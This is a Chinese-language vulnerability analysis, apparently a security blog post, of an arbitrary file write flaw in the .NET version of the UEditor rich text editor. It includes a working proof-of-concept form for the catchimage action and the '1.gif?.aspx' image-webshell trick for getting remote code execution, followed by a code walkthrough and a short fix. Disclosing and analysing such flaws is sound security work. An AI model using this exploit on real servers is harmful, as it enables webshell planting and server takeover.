0x01 前言
UEditor是由百度WEB前端研發部開發的所見即所得的開源富文本編輯器,具有輕量、可定制、用戶體驗優秀等特點 ,被廣大WEB應用程序所使用;本次爆出的高危漏洞屬於.NET版本,其它的版本暫時不受影響。漏洞成因是在抓取遠程數據源的時候未對文件后綴名做驗證導致任意文件寫入漏洞,黑客利用此漏洞可以在服務器上執行任意指令,綜合評級高危。由於時間倉促,本文分析不到位的地方還請多多諒解。
0x02 漏洞利用
筆者本地測試的編輯器是百度官方下載最新的版本1.4.3.3 http://ueditor.baidu.com/website/download.html
本地構造一個html,因為不是上傳漏洞所以enctype 不需要指定為multipart/form-data , 之前見到有poc指定了這個值。完整的poc如下
1 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> 2 <p>shell addr: <input type="text" name="source[]" /></p > 3 <input type="submit" value="Submit" /> 4 </form>
需准備一個圖片馬兒,遠程shell地址需要指定擴展名為 1.gif?.aspx
成功返回webshell
0x03 漏洞分析
在本地IIS中將目錄快速指向到解壓后的目錄,再訪問 controller.ashx 控制器文件。當出現下圖的時候表示編輯器成功運行。
控制器中存在多個動作的調用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等
這些動作默認情況下都可以遠程訪問,不排除還有新的高危漏洞;這篇文章重點來介紹catchimage這個分支條件,由於它實例化了CrawlerHandler這個類,所以需要跟進這個一般處理程序類
第一行就獲取了外界傳入的source[] 數組, 核心調用位於Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();通過這段lambda表達式來調用類里的方法執行后的結果 ,如下圖跟進Fecth方法體內
首先通過IsExternalIPAddress方法判斷是否是一個可被DNS解析的域名地址,如果不是就終止運行;邏輯代碼如下
這句判斷就是 1.5.0開發版本(https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs)和官方發布版本1.4.3.3最大的區別,在1.5.0版本中刪除了此處的判斷,導致在任意一個ip地址或域名下都可以執行exp如下圖
相對來說1.5.0版本更加容易觸發此漏洞;而在1.4.3.3版本中攻擊者需要提供一個正常的域名地址就可以繞過此處判斷;
然后進入第二個條件判斷 : 對文件ContentType的識別
這段代碼很眼熟,一般常見於php文件上傳的時候對文件頭的判斷,這段代碼很容易繞過,只需要構造一張圖片馬兒就可以繞過它的判斷,或者構造一個gif89的假圖片也可以繞過;最后編輯器根據配置文件的信息創建對應的目錄結構再保存文件,代碼如下
至此RCE漏洞原理大致已經清楚明了,期待官方盡快發布漏洞補丁程序。
0x04 防御措施
修改CrawlerHandler.cs 增加對文件擴展名的;IPS等防御產品可以加入相應的特征;